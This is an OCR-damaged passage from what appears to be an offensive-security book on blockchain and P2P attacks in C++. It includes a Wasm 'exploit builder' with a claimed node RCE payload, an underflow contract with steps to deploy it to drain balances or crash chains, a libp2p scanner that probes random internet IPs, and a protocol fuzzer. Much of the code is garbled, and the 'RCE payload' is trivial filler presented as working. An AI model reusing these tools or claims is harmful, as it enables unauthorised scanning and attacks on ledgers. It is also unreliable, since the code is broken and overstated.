// Type section (simplified)

module.push_back(0x01); // type section ID
module.push_back(0x@05); // section size (placeholder)
module.push_back(0x@1); // 1 function type
module.push_back(0x60); // func type
module.push_back(0x01); // 1 parameter
module.push_back(@x7F); // 132
module.push_back(0x01); // 1 result
module.push_back(0x7F); // 132

// Function section

module.push_back(0x03); // function section
module.push_back(0x02); // size
module.push_back(0x01); // 1 function
module.push_back(0x00); // type index @

// Export section

module.push_back(0x07); // export section

module.push_back(@x05); // size

module.push_back(0x01); // 1 export

// "add" function name

module.push_back (0x03);

module.push_back('a'); module.push_back('d"'); module.push_back('d");
module.push_back(0x00); // export kind (function)
module.push_back(0x00); // function index
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// Code section with vulnerable function
module.push_back(@x0A); // code section
module.push_back(@x0C); // size

module.push_back(0x01); // 1 function body
module.push_back(@x0A); // function body size
module.push_back(0x00); // local count

// local.get @, local.get 1, i32.add (potential overflow)
module.push_back(0x20); module.push_back(0x00); // local.get 0
module.push_back(0x20); module.push_back(@x01); // local.get 1
module.push_back(0x6A); // i32.add (overflow possible)
module.push_back(@x@B); // end

std::cout << "[Wasm Module] Generated " << module.size() << " bytes\n";

return module;

// Shellcode for Wasm VM escape (EOS RCE vulnerability example)
std: :vector<uint8_t> build_rce_payload() {
// This payload targets the EOS Wasm parser vulnerability
// (CVE-2018-11581: buffer out-of-bounds write in function table)
std: :vector<uint8_t> payload;
payload.push_back(0x00); payload.push_back(0x61);
payload.push_back(@x73); payload.push_back(@x6D);
// Crafted function table to trigger out-of-bounds write
for (int i = 0; i < 256; ++i) {
payload.push_back(static_cast<uint8_t>(i));
}

return payload;

public:
WasmExploitBuilder() {
wasm_module = build_malicious_wasm();

malicious_payload = build_rce_payload();

void save_wasm_module(const std::string& filename) {
std::ofstream file(filename, std::ios::binary);
file.write(reinterpret_cast<const char*>(wasm_module.data()), wasm_module.size());
file.close();

std::cout << "[Saved] Malicious Wasm module to " << filename << "\n";
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void analyze_vulnerabilities() {

std::cout << "\n=== Wasm Smart Contract Vulnerability Analysis ===\n";

// Integer overflow detection

std::cout << "[Vulnerability 1] Integer overflow in arithmetic operations\n”;

std::cout << " Wasm's 32-bit integers wrap around on overflow, enabling:\n";
std::cout << " - Token minting attacks\n";

std::cout << " - Array index manipulation\n”;

std::cout << " - Balance manipulation\n”;

// Stack overflow detection

std::cout << "\n[Vulnerability 2] Stack overflow in function calls\n";

std::cout << " Wasm has a fixed call stack depth limit. Deep recursion can:\n";
std::cout << " - Cause VM crashes\n";
std::cout << " - Enable DoS attacks\n";

// Out-of-bounds memory access

std::cout << "\n[Vulnerability 3] Out-of-bounds memory access\n";

std::cout << " Wasm memory operations lack bounds checking in some VMs:\n";
std::cout << " - Buffer overflows (EOS CVE-2018-11581)\n";
std::cout << " - Arbitrary memory read/write\n";

// Capability bypass
std::cout << "\n[Vulnerability 4] Capability enforcement bypass\n”;

std::cout << " CosmWasm capability systems can be bypassed via:\n";
std::cout << " - Missing string validation\n";
std::cout << " - Compilation optimization flags\n”;

void demonstrate_exploit() {

std::cout << "\n=== Exploit Demonstration ===\n";

// Simulate integer overflow exploit
uint32_t a = OXFFFFFFFF;
uint32_t b = 1;

uint32_t result = a + b;

std::cout << "Integer overflow: " << std::hex << a << " + " << b << " = " << result
o ”\n";

std::cout << " In token contract, this could mint additional tokens\n";



222

// Simulate array bounds bypass
std::vector<int> array = {1, 2, 3, 4, 5};
size_t index = 100; // Attacker-controlled index
if (index < array.size()) {
std::cout << "Array access valid\n";
} else {
std::cout << "Warning: Out-of-bounds index " << index << " would be blocked\n";

std::cout << " But vulnerable VMs may allow this access\n”;

void generate_cpp_to_wasm_exploit_code() {
std::cout << "\n=== C++ to Wasm Exploit Code Generation ===\n";
std::cout << R"(

// Malicious smart contract that triggers integer overflow
#include <stdint.h>

// Function that appears safe but contains overflow

uint32_t transfer_tokens(uint32_t balance, uint32_t amount) {

// If amount > balance, overflow can wrap around
uint32_t new_balance = balance - amount;
// Underflow creates large positive number

return new_balance;

// Entry point for Wasm contract

void apply_contract() {

3

uint32_t user_balance = 0x00000001; // 1 token
uint32_t malicious_amount = 0x00000002; // 2 tokens

// This will underflow: 1 - 2 = OxFFFFFFFF (4.29B tokens)

uint32_t exploited_balance = transfer_tokens(user_balance, malicious_amount);

// The attacker now has 4.29B tokens

int main() {
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WasmExploitBuilder builder;

// Generate malicious Wasm module

builder.save_wasm_module("malicious.wasm");

// Analyze vulnerabilities

builder.analyze_vulnerabilities();

// Demonstrate exploit

builder.demonstrate_exploit();

// Generate C++ exploit code

builder.generate_cpp_to_wasm_exploit_code();

std:
std:
std:
std:
std:
std:
std:
std:

:cout
:cout
:cout
:cout
:cout
:cout
:cout

:cout

return 0;

<<

<<

<<

<<

<<

<<

<<

<<

"\n=== Compilation Instructions ===\n";

"Compile C++ to Wasm using Emscripten:\n";

n

emcc -02 malicious_contract.cpp -o malicious.wasm\n"”;
" emcc -02 exploit_contract.cpp -o exploit.wasm -s WASM=1\n";
"\nDeploy the malicious Wasm contract to a testnet to:\n";

" - Drain token balances\n";

" - Execute arbitrary code on the node (EOS RCE)\n";

" = Crash the blockchain (wasmvm vulnerability G0-2025-3448)\n";

Real-World Wasm Smart Contract Vulnerabilities

- **EQOS Node Remote Code Execution (CVE-2018-11581)**: A buffer out-of-bounds write

vulnerability in the EOS Wasm parser allowed attackers to upload a malicious Wasm contract and

achieve remote code execution on the node server. - **CosmWasm Capability Bypass (2025)**:

A vulnerability allowed attackers to bypass capability enforcement by omitting a string during

contract compilation, breaking the intended security model. - **wasmvm Chain Crash
(GO-2025-3448)**: A malicious Wasm contract could crash the entire blockchain due to

improper handling of certain operations. - **Integer and Stack Overflow Vulnerabilities**:

Wasm smart contracts are particularly vulnerable to integer overflow and stack overflow due to

lack of effective defenses at the compiler and VM layers.
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Compilation Instructions

# Install Emscripten for C++ to Wasm compilation

git clone https://github.com/emscripten-core/emsdk.git
cd emsdk

emsdk install latest

emsdk activate latest

# Compile the exploit builder
cl /std:ct+latest /02 wasm_exploit.cpp /Fe:wasm_exploit.exe

wasm_exploit.exe
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10.4 Developing a Scanner for Weak Nodes in libp2p Networks

libp2p is a modular network stack used extensively in blockchain and P2P systems, including
IPES, Filecoin, and Ethereum. It provides transport abstraction, peer identity management,
secure channels, peer discovery, and content routing. The libp2p C++ implementation is
available as part of the libp2p project, with support for multiple transports (TCP, WebSocket,
QUIC), security protocols (Noise, TLS), and discovery mechanisms (Kademlia DHT, mDNS).
A vulnerability scanner for libp2p networks identifies nodes with weak security configurations:
outdated protocol versions, disabled encryption, open ports on known vulnerable services,
missing authentication, and incorrect identity validation. The following C++26 scanner uses
libp2p’s C++ implementation to discover peers on the network, establish connections, and probe

for configuration weaknesses.

// libp2p_scanner.cpp - libp2p network vulnerability scanner
#include <iostream>

#include <vector>

#include <string>

#include <random>

#include <chrono>

#include <thread>

#include <unordered_set>

#include <nlohmann/json.hpp>

#include <curl/curl.h>
#pragma comment(lib, "curl.lib")
using json = nlohmann::json;

size_t write_callback(voidx contents, size_t size, size_t nmemb, std::string* output) {
size_t total = size * nmemb;
output->append(static_cast<charx>(contents), total);

return total;

class Libp2pScanner {
private:
CURL* curl;
std::mt19937 rng;

std: :unordered_set<std::string> scanned_peers;
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// Multiaddr parsing (simplified)
struct Multiaddr {
std::string protocol;
std::string value;
int port;

b

Multiaddr parse_multiaddr(const std::string& addr) {
Multiaddr result;
result.port = -1;
size_t slash_pos = addr.find('/"');
size_t pos = 0;
while (pos < addr.size()) {
if (addrlpos] != '/') { pos++; continue; }
size_t next_slash = addr.find('/', pos + 1);
if (next_slash == std::string::npos) break;
std::string proto = addr.substr(pos + 1, next_slash - pos - 1);
pos = next_slash + 1;
size_t next = addr.find('/', pos);
std::string value = (next == std::string::npos) ? addr.substr(pos) :
— addr.substr(pos, next - pos);
if (proto == "ip4" || proto == "ip6") {
result.protocol = proto;
result.value = value;
} else if (proto == "tcp" || proto == "udp") {

result.port = std::stoi(value);

b

return result;

std::string http_post(const std::string& url, const std::string& data) {
std::string response;
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
curl_easy_setopt(curl, CURLOPT_POST, 1L);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, data.c_str());
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L);
CURLcode res = curl_easy_perform(curl);
curl_easy_setopt(curl, CURLOPT_POST, OL);
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if (res != CURLE_OK) {
throw std::runtime_error(curl_easy_strerror(res));

3

return response;

std::string http_get(const std::string& url) {

std::string response;
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
curl_easy_setopt(curl, CURLOPT_HTTPGET, 1L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L);
CURLcode res = curl_easy_perform(curl);
if (res != CURLE_OK) {

throw std::runtime_error(curl_easy_strerror(res));

3

return response;

public:
Libp2pScanner() : rng(std::random_device{}()) {
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if (!curl) throw std::runtime_error("Failed to initialize CURL");

~Libp2pScanner() {
curl_easy_cleanup(curl);

curl_global_cleanup();

std: :vector<std::string> get_peers_from_ipfs(const std::string& ipfs_api =
— "http://localhost:5001/api/ve/") {
std: :vector<std::string> peers;
try {
std::string response = http_get(ipfs_api + "swarm/peers”);
json j = json::parse(response);
if (j.contains("Peers”)) {
for (const auto& peer : j["Peers”]) {
if (peer.contains("Addr")) {
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peers.push_back(peer["Addr"]);

b

} catch (const std::exception& e) {
std::cerr << "Failed to fetch IPFS peers: " << e.what() << "\n";

3

return peers;

bool test_tcp_connect(const std::string& ip, int port, int timeout_ms = 3000)
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) return false;

sockaddr_in addr;

addr.sin_family = AF_INET;

addr.sin_port = htons(port);

inet_pton(AF_INET, ip.c_str(), &addr.sin_addr);

// Set non-blocking mode
u_long mode = 1;
ioctlsocket(sock, FIONBIO, &mode);

connect(sock, (sockaddrx)&addr, sizeof(addr));

fd_set fdset;

FD_ZERO(&fdset);

FD_SET(sock, &fdset);

timeval tv;

tv.tv_sec = timeout_ms / 1000;
tv.tv_usec = (timeout_ms % 1000) * 1000;

int res = select(@, nullptr, &fdset, nullptr, &tv);
closesocket (sock);

return res == 1;

void scan_peer(const std::string& multiaddr) {
if (scanned_peers.find(multiaddr) != scanned_peers.end()) return;

scanned_peers.insert(multiaddr);
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auto parsed = parse_multiaddr(multiaddr);

if (parsed.port == -1) return;

std::cout << "\n[Scanning] " << multiaddr << "\n";

std::cout << " IP: " << parsed.value << ", Port: " << parsed.port << "\n";
// Check TCP connectivity

bool reachable = test_tcp_connect(parsed.value, parsed.port);

std::cout << " TCP reachable: " << (reachable ? "YES" : "N0O") << "\n";

if (!reachable) return;

// Security checks

std::cout << " Security Analysis:\n";

// Check for default ports (vulnerability indicator)
if (parsed.port == 4001) {

std::cout << " [WARNING] Default libp2p port (4001) - potential target\n”;
}
if (parsed.port == 9090 || parsed.port == 9091) {

std::cout << " [WARNING] gRPC port exposed - potential API vulnerability\n";
}

if (parsed.port == 5001) {
std: :cout <<

- " [WARNING] IPFS API port exposed - potential unauthorized access\n”;

// Check if using obsolete protocol
if (multiaddr.find("/ws"”) != std::string::npos) {

std::cout << " [INFO] WebSocket transport - ensure TLS is enabled\n";
}
if (multiaddr.find("/quic”) != std::string::npos) {
std::cout << " [GOOD] QUIC transport detected\n"”;
}
if (multiaddr.find("/noise"”) != std::string::npos) {
std::cout << " [GOOD] Noise encryption detected\n”;
} else if (multiaddr.find("/tls") != std::string::npos) {
std::cout << " [GOOD] TLS encryption detected\n"”;
} else {
std::cout << " [CRITICAL] No encryption detected! (MITM attack possible)\n";
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// Check for open relay or vulnerable service
if (parsed.port == 4001 && parsed.value == "0.0.0.0") {
std::cout << " [CRITICAL] Peer bound to all interfaces - open relay\n";

void scan_network(const std::vector<std::string>& bootstrap_peers, int max_scans = 50) {
std::cout << "=== libp2p Network Vulnerability Scanner ===\n";

n

std::cout << "Bootstrap peers: << bootstrap_peers.size() << "\n";
for (const auto& peer : bootstrap_peers) {
if (scanned_peers.size() >= static_cast<size_t>(max_scans)) break;
scan_peer(peer);
std::this_thread: :sleep_for(std::chrono::milliseconds(500));

// Generate random IPs for wide scanning (IPv4 range)
std::uniform_int_distribution<uint32_t> ip_dist(1, OxFFFFFFFE);
while (scanned_peers.size() < static_cast<size_t>(max_scans)) {

uint32_t raw_ip = ip_dist(rng);

std::string ip = std::to_string((raw_ip >> 24) & OxFF) + "." +
std: :to_string((raw_ip >> 16) & OxFF) + "." +
std: :to_string((raw_ip >> 8) & OxFF) + "." +

std: :to_string(raw_ip & OxFF);

// Test common libp2p ports
for (int port : {4001, 9090, 5001, 443, 80}) {
if (test_tcp_connect(ip, port, 1000)) {
std::string addr = "/ip4/" + ip + "/tcp/" + std::to_string(port);
scan_peer (addr);

break;

}
if (scanned_peers.size() % 100 == @) {

n

std::cout << "Scanned " << scanned_peers.size() << " targets\n”;

void generate_report() {
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std:
std:
std:
std:
std:
std:
std:
std:

3

int main() {

:cout
:cout
:cout
:cout
:cout
:cout
:cout

:cout

WSADATA wsa;

WSAStartup(MAKEWORD(2,

Libp2pScanner scanner;

<<

<<

<<

<<

<<

<<

<<

<<

"\n=== Scan Report ===\n";

"Total unique peers scanned:

n

<< scanned_peers.size() << "\n";

"\nRecommendations:\n";

R

Disable default ports (4001) or restrict access\n”;

2. Always enable encryption (Noise/TLS)\n";

3. Disable IPFS API public exposure\n”;
"4,

5

Bind to specific interfaces, not 0.0.0.0\n";

. Update to latest libp2p version\n”;

2), &wsa);

// Bootstrap peers from known sources

std: :vector<std::string> bootstrap_peers = {
"/ip4/104.131.131.82/tcp/4001/p2p/QmaCpDMGVV2BGHe YERUENRQAwWe3N8SzbUtfsmvsgQLuvul”,
"/ip4/104.236.179.241/tcp/4001/p2p/QmSoLPppuBtQSGWKDZT2M73ULpjvfd3az6had4oFGL1KrGM",
"/ip4/104.236.76.40/tcp/4001/p2p/QmSoLV4Bbm513jMIC4gDYZQICy3U6aXMIDAbzgu2fzaDs64"
"/ip4/128.199.219.111/tcp/4001/p2p/QmSoLSafTMBsPKadTEgaXctDQVcaN88CNLHXMKTNwWMKPNnu "

3

scanner.scan_network(bootstrap_peers, 30);

scanner.generate_report();

WSACleanup();

return 0;

libp2p Security Best Practices

- #*Encryption**: Always use Noise or TLS for all libp2p connections. Unencrypted connections

are vulnerable to man-in-the-middle attacks. - **Port Management**: Avoid exposing default

ports (4001) to the public internet. Use firewall rules to restrict access. - **Identity

Management**: Regularly rotate peer identities and use strong cryptographic keys. - **Update

Regularly**: libp2p implementations frequently patch security vulnerabilities; always use the

latest version. - **Bootstrap Security**: Use multiple trusted bootstrap peers and verify their
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identities.

Compilation Instructions

# libp2p scanner requires libcurl and nlohmann/json

# Install via vcpkg: vepkg install curl nlohmann-json

cl /std:c++latest /02 /Ijson_include_path libp2p_scanner.cpp /Fe:libp2p_scanner.exe /link
— curl.lib ws2_32.1ib
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10.5 Summary

This chapter covered four advanced P2P and blockchain exploitation techniques implemented in
C++26 on Windows:

* Analyzing BitTorrent protocol using bencoding parsers and IPFS networks using HTTP
API clients.

* Building an eclipse attack tool for Bitcoin P2P networks using addrman flooding

techniques.

* Exploiting smart contract vulnerabilities via C++ to WebAssembly interface generation,

including integer overflow, out-of-bounds access, and remote code execution.

* Developing a libp2p network scanner to identify weak nodes with missing encryption,

exposed default ports, and misconfigured APIs.

Proceed to Chapter 11 to explore zero-day vulnerability automation techniques.



Zero-Day Vulnerability Automation

11.1 Building a Grammar-Based Fuzzer for Proprietary

Protocols

Protocol-aware fuzzing is an automated software-testing technique that injects malformed or
unexpected messages into a network protocol while respecting the grammar, state machine, and
field semantics defined by that protocol’s specification[reference:0]. Unlike traditional “dumb”
fuzzers, protocol-aware engines begin with a formal or inferred model of the protocol, expressed
as Protocol Buffers, ASN.1, or custom grammars, and generate test cases that satisfy sequencing
rules, checksums, length fields, and cryptographic signatures[reference:1]. A 2022 study by the
U.S. National Security Agency reported that protocol-aware fuzzing uncovered 68% of remotely
exploitable flaws in 5G core network elements, outperforming manual penetration testing by a
factor of three in both speed and coverage[reference:2].

The following grammar-based fuzzer is designed for a proprietary IoT telemetry protocol. The
protocol consists of message types: HEARTBEAT (0x01), DATA (0x02), and CONFIG (0x03),
each with a specific structure including a 2-byte length field, a 1-byte type field, a 4-byte
timestamp, and a variable payload with its own CRC16 checksum. The fuzzer uses a context-free
grammar defined as a BNF-style specification, where each production rule expands to either
terminal symbols (bytes) or non-terminals. The fuzzer implements a grammar engine that
recursively expands start symbols according to production rules. The ‘generate_from_grammar*
function traverses the grammar tree, randomly selecting among possible expansions at each step.
For fields that require semantic correctness (such as length fields matching payload size and
checksum validation), the fuzzer uses post-generation callbacks to patch these values after the
raw payload is generated.

The fuzzer also implements a mutation engine that takes an existing valid message and applies
structure-aware mutations: flipping bits at random positions, swapping bytes, inserting random

bytes, deleting bytes, and duplicating message sections. After each mutation, the fuzzer sends the

234
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mutated packet to the target server and monitors for crashes or abnormal behavior. The target
under test runs as a child process (or on a remote host) with a monitoring thread that checks for
process exit, hangs, or unexpected exceptions. The combination of grammar-based generation
and targeted mutation allows the fuzzer to explore both valid protocol states and the boundary

conditions where vulnerabilities often hide.

// grammar_fuzzer.cpp - Grammar-based fuzzer for proprietary IoT protocol
#include <iostream>
#include <string>
#include <vector>
#include <random>
#include <functional>
#include <memory>
#include <map>
#include <variant>
#include <chrono>
#include <thread>
#include <winsock2.h>

#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.1ib")

// Forward declarations
class GrammarNode;
using NodePtr = std::shared_ptr<GrammarNode>;

using ExpansionResult = std::variant<std::vector<uint8_t>, std::string>;

// Grammar production rule: either a terminal (byte sequence) or a non-terminal reference
struct Production {
enum class Type { Terminal, NonTerminal, Sequence, Choice, Repeat };
Type type;
std: :vector<uint8_t> terminal_data;
std::string nonterminal_name;
std: :vector<Production> sequence_items;
std: :vector<Production> choice_items;
1;
1;

size_t repeat_min

size_t repeat_max

3

// Grammar node representing a non-terminal symbol

class GrammarNode {
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public:
std::string name;

std: :vector<Production> productions;

GrammarNode(const std::string& n) : name(n) {3}

void add_production(const Production& prod) {

productions.push_back(prod);

b

// Grammar engine for generating and mutating protocol messages
class GrammarFuzzer {
private:

std::map<std::string, GrammarNode> grammar;

std::mt19937 rng;

std::string target_ip;

int target_port;

SOCKET sock;

// Random helpers
uint8_t random_byte() {
std::uniform_int_distribution<int> dist(@, 255);

return static_cast<uint8_t>(dist(rng));

uint16_t random_uint16() {
std::uniform_int_distribution<int> dist(@, 65535);
return static_cast<uint16_t>(dist(rng));

uint32_t random_uint32() {
std::uniform_int_distribution<uint32_t> dist(@, UINT32_MAX);
return dist(rng);

// Generate a single byte (terminal)
std: :vector<uint8_t> generate_terminal(const Production& prod) {
if (prod.type == Production::Type::Terminal) {

return prod.terminal_data;
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return {};

// Recursively generate bytes from a production
std: :vector<uint8_t> generate_from_production(const Production& prod) {
switch (prod.type) {
case Production: :Type: :Terminal:
return prod.terminal_data;
case Production: :Type: :NonTerminal: {
auto it = grammar.find(prod.nonterminal_name);
if (it != grammar.end()) {
const auto& node = it->second;
if (!node.productions.empty()) {
std::uniform_int_distribution<size_t> prod_dist (@,
— node.productions.size() - 1);
const auto& chosen_prod = node.productions[prod_dist(rng)];

return generate_from_production(chosen_prod);

}
return {3};
}
case Production: :Type: :Sequence: {
std: :vector<uint8_t> result;
for (const auto& item : prod.sequence_items) {
auto part = generate_from_production(item);
result.insert(result.end(), part.begin(), part.end());
}
return result;
}
case Production: :Type: :Choice: {
if (prod.choice_items.empty()) return {3};
std::uniform_int_distribution<size_t> choice_dist(@, prod.choice_items.size()
= - 1);
return generate_from_production(prod.choice_items[choice_dist(rng)1);
}
case Production: :Type: :Repeat: {
std::uniform_int_distribution<size_t> repeat_dist(prod.repeat_min,
— prod.repeat_max);
size_t count = repeat_dist(rng);
std::vector<uint8_t> result;

for (size_t i = @; i < count; ++i) {
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auto part = generate_from_production(prod.sequence_items[0]);

result.insert(result.end(), part.begin(), part.end());

3
return result;
}
}
return {};

// Fix length field after generation (post-processing callback)
void fix_length_field(std::vector<uint8_t>& message, size_t length_pos, size_t
— payload_start) {
if (message.size() > payload_start) {
uint16_t payload_len = static_cast<uint16_t>(message.size() - payload_start);
message[length_pos] = (payload_len >> 8) & OxFF;
message[length_pos + 1] = payload_len & OxFF;

// Calculate and patch CRC16 (simplified)
uint16_t calculate_crcl16(const std::vector<uint8_t>& data, size_t start, size_t len) {
uint16_t crc = OXFFFF;
for (size_t i = start; i < start + len && i < data.size(); ++i) {
crc *= static_cast<uint16_t>(datal[i]) << 8;
for (int j = 0; j < 8; ++j) {
if (crc & 0x8000) {
crc = (crc << 1) * 0x1021;

} else {
crc <<= 1;
}
}
}
return crc;

void patch_crc(std: :vector<uint8_t>& message, size_t crc_pos) {
if (crc_pos + 2 <= message.size()) {
uint16_t crc = calculate_crcl16(message, @, crc_pos);
messagel[crc_pos] = (crc >> 8) & OxFF;

message[crc_pos + 1] = crc & OxFF;
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public:
GrammarFuzzer(const std::string& ip, int port) : rng(std::random_device{}()),
— target_ip(ip), target_port(port) {
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);
// Build grammar

build_grammar();

~GrammarFuzzer() {
if (sock != INVALID_SOCKET) closesocket(sock);
WSACleanup();

void build_grammar() {

// Define IoT telemetry protocol grammar

// Byte terminal
Production byte_term;

byte_term.type = Production::Type::Terminal;

// Length field (2 bytes)

Production length_prod;

length_prod.type = Production: :Type::Sequence;

length_prod. sequence_items.push_back({Production: :Type::Terminal, {0x00}});
length_prod.sequence_items.push_back({Production: :Type::Terminal, {0x00}});

// Timestamp (4 bytes)

Production timestamp_prod;

timestamp_prod.type = Production::Type: :Sequence;
for (int i = @; i < 4; ++i) {

timestamp_prod. sequence_items.push_back({Production: :Type::Terminal, {0x00}});

// Payload (variable bytes)

Production payload_prod;

payload_prod.type = Production: :Type: :Repeat;
payload_prod.repeat_min = 0;
payload_prod.repeat_max = 100;
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payload_prod. sequence_items.push_back({Production: :Type::Terminal, {0x003}});

// HEARTBEAT message (type 0x01)

Production heartbeat;

heartbeat.type = Production::Type: :Sequence;
heartbeat.sequence_items.push_back({Production::Type
— length placeholder
heartbeat.sequence_items.push_back({Production::Type
heartbeat.sequence_items.push_back(timestamp_prod);
— timestamp
heartbeat.sequence_items.push_back({Production::Type
— CRC placeholder

// DATA message (type 0x02)

Production data;

data.type = Production::Type::Sequence;
data.sequence_items.push_back({Production: :Type::Ter
data.sequence_items.push_back({Production: :Type: :Ter
data.sequence_items.push_back(timestamp_prod);
data.sequence_items.push_back(payload_prod);

data.sequence_items.push_back({Production: :Type::Ter

// CONFIG message (type 0x03)
Production config;

config.type = Production::Type: :Sequence;

::Terminal, {0x00, 0x00}}); //

::Terminal, {0x01}}); // type
//

::Terminal, {0x00, 0x00}}); //

minal, {@x00, 0x003}}); // length
minal, {0x02}}); // type
// timestamp
// payload
minal, {@x00, 0x00}}); // CRC

config.sequence_items.push_back({Production::Type::Terminal, {0x00, 0x003}}); // length

config.sequence_items.push_back({Production::Type::T
config.sequence_items.push_back(timestamp_prod);

— timestamp

// Config key-value pairs

Production kv_pair;

kv_pair.type = Production: :Type::Sequence;
kv_pair.sequence_items.push_back({Production: :Type:
kv_pair.sequence_items.push_back({Production::Type:
kv_pair.sequence_items.push_back({Production::Type:
— length
kv_pair.sequence_items.push_back({Production: :Type:
Production config_payload;

config_payload.type = Production::Type: :Repeat;
config_payload.repeat_min = 1;
config_payload.repeat_max = 5;

config_payload.sequence_items.push_back(kv_pair);

erminal, {0x03}}); // type
//

:Terminal, {@x003}}); // key length
:Terminal, {'k','e','yv'}});
:Terminal, {0x003}}); // value

:Terminal, {'v','a",'1'}});
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config.sequence_items.push_back(config_payload);

config.sequence_items.push_back({Production::Type::Terminal, {0x00, 0x00}}); // CRC

// Top-level message grammar
Production message_choice;
message_choice.type = Production::Type::Choice;

message_choice.choice_items = {heartbeat, data, config};

// Store in grammar map
grammar["Message”"] = GrammarNode("Message");

grammar[ "Message"].add_production(message_choice);

// Generate a single test case

std: :vector<uint8_t> generate_testcase() {
auto it = grammar.find("Message");
if (it == grammar.end()) return {3};

if (it->second.productions.empty()) return {};

std::uniform_int_distribution<size_t> prod_dist(@, it->second.productions.size() - 1);
const auto& chosen_prod = it->second.productions[prod_dist(rng)];

std: :vector<uint8_t> message = generate_from_production(chosen_prod);

// Apply semantic corrections
if (message.size() >= 4) {

// Detect message type and fix accordingly

uint8_t msg_type = message[2];

if (msg_type == 0x01 && message.size() >= 10) {
fix_length_field(message, 0, 4);
patch_crc(message, 8);

} else if (msg_type == 0x02 && message.size() >= 6) {
fix_length_field(message, 0, 4);
patch_crc(message, message.size() - 2);

} else if (msg_type == 0x@3 && message.size() >= 6) {
fix_length_field(message, 0, 4);

patch_crc(message, message.size() - 2);

return message;
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// Mutate an existing test case
std: :vector<uint8_t> mutate_testcase(const std::vector<uint8_t>& original) {

if (original.empty()) return generate_testcase();

std: :vector<uint8_t> mutated = original;
std::uniform_int_distribution<int> mutation_type(@, 4);

int type = mutation_type(rng);

switch (type) {
case @0: // Bit flip
if (!mutated.empty()) {
std::uniform_int_distribution<size_t> pos_dist(@, mutated.size() - 1);
size_t pos = pos_dist(rng);
mutated[pos] *= (1 << (rng() % 8));
}
break;
case 1: // Byte swap
if (mutated.size() >= 2) {
std::uniform_int_distribution<size_t> pos_dist (@, mutated.size() - 2);
size_t pos = pos_dist(rng);
std: :swap(mutated[pos], mutated[pos + 11);
}
break;
case 2: // Insert random byte

{
std::uniform_int_distribution<size_t> pos_dist(@, mutated.size());
size_t pos = pos_dist(rng);
mutated.insert(mutated.begin() + pos, random_byte());

}

break;

case 3: // Delete byte
if (!mutated.empty()) {
std::uniform_int_distribution<size_t> pos_dist(@, mutated.size() - 1);
size_t pos = pos_dist(rng);
mutated.erase(mutated.begin() + pos);
}
break;
case 4: // Duplicate section
if (mutated.size() >= 4) {
std::uniform_int_distribution<size_t> start_dist(@, mutated.size() - 2);
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std::uniform_int_distribution<size_t> len_dist(1, (mutated.size() -

— start_dist(rng)) / 2);

size_t start = start_dist(rng);

size_t len = len_dist(rng);

std::vector<uint8_t> section(mutated.begin() + start, mutated.begin() +
— start + len);

mutated.insert(mutated.begin() + start + len, section.begin(),

— section.end());

}

break;

b

return mutated;

// Connect to target

bool connect_target() {
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) return false;

struct sockaddr_in addr;

addr.sin_family = AF_INET;

addr.sin_port = htons(target_port);

inet_pton(AF_INET, target_ip.c_str(), &addr.sin_addr);

return connect(sock, (sockaddr*)&addr, sizeof(addr)) == 0;

// Send test case and monitor for crashes

bool send_testcase(const std::vector<uint8_t>& testcase) {
if (testcase.empty()) return false;
int result = send(sock, reinterpret_cast<const char*>(testcase.data()),
— static_cast<int>(testcase.size()), 0);

return result > 0;

void fuzz(int iterations, bool mutate_mode = false) {
std::cout << "Starting grammar-based fuzzing on " << target_ip << ":" << target_port
o << u\nn;

// Generate seed corpus
std: :vector<std::vector<uint8_t>> corpus;
for (int i = 0; i < 10; ++i) {
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corpus.push_back(generate_testcase());

for (int i = @; i < iterations; ++i) {
if (!connect_target()) {
std::cerr << "Failed to connect\n";

return;

std: :vector<uint8_t> testcase;

if (mutate_mode && !corpus.empty()) {
std::uniform_int_distribution<size_t> seed_dist(@, corpus.size() - 1);
testcase = mutate_testcase(corpus[seed_dist(rng)l);

} else {

testcase = generate_testcase();

std::cout << "[Iteration " << i << "] Testcase size: " << testcase.size() <<
" bytes: ";

for (size_t j = 0; j < std::min<size_t>(20, testcase.size()); ++j) {
std::cout << std::hex << static_cast<int>(testcase[j]) << " ";

}

std::cout << std::dec << "\n";

if (!send_testcase(testcase)) {
std::cerr << " SEND FAILED - potential crash or disconnect\n";
// Reconnect
closesocket(sock);
sock = INVALID_SOCKET;
if (!connect_target()) {

std::cerr << Target unresponsive! Possible vulnerability triggered.\n";

3
} else {
std::cout << " Sent successfully\n";
// Add to corpus if it increased coverage (simplified)
if (i % 10 == 0) {

corpus.push_back(testcase);

std::this_thread: :sleep_for(std::chrono::milliseconds(100));
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closesocket (sock);
sock = INVALID_SOCKET;

e

int main(int argc, charx argv[]) {
if (argc !'= 3) {
std::cerr << "Usage: " << argv[@] << " <target_ip> <port>\n";

return 1;
GrammarFuzzer fuzzer(argv[1], std::stoi(argv[2]));
fuzzer.fuzz(100, true);

return 0;

Compilation:

cl /std:c++latest /02 grammar_fuzzer.cpp /Fe:grammar_fuzzer.exe /link ws2_32.1ib
grammar_fuzzer.exe 192.168.1.100 8080
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11.2 Integrating Windows Sanitizers (ASAN, UBSAN Available
in MSVC) into Your Offensive Tools

Sanitizers are powerful runtime instrumentation tools that detect memory corruption, undefined
behavior, and data races in C/C++ programs|reference:3]. Starting in Visual Studio 2019 version
16.9, the Microsoft C/C++ compiler (MSVC) and IDE have supported the AddressSanitizer
(ASan) sanitizer[reference:4]. With the release of Visual Studio 2026 for production use, ASan
support now extends to ARM64 targets, covering x86, x64, and ARM64
architectures[reference:5]. ASan detects buffer overflows (stack/heap), use-after-free,
double-free, and memory leaks with zero false positives[reference:6]. The compiler option
‘/fsanitize=address‘ instruments code to catch memory safety errors at runtime[reference:7]. For
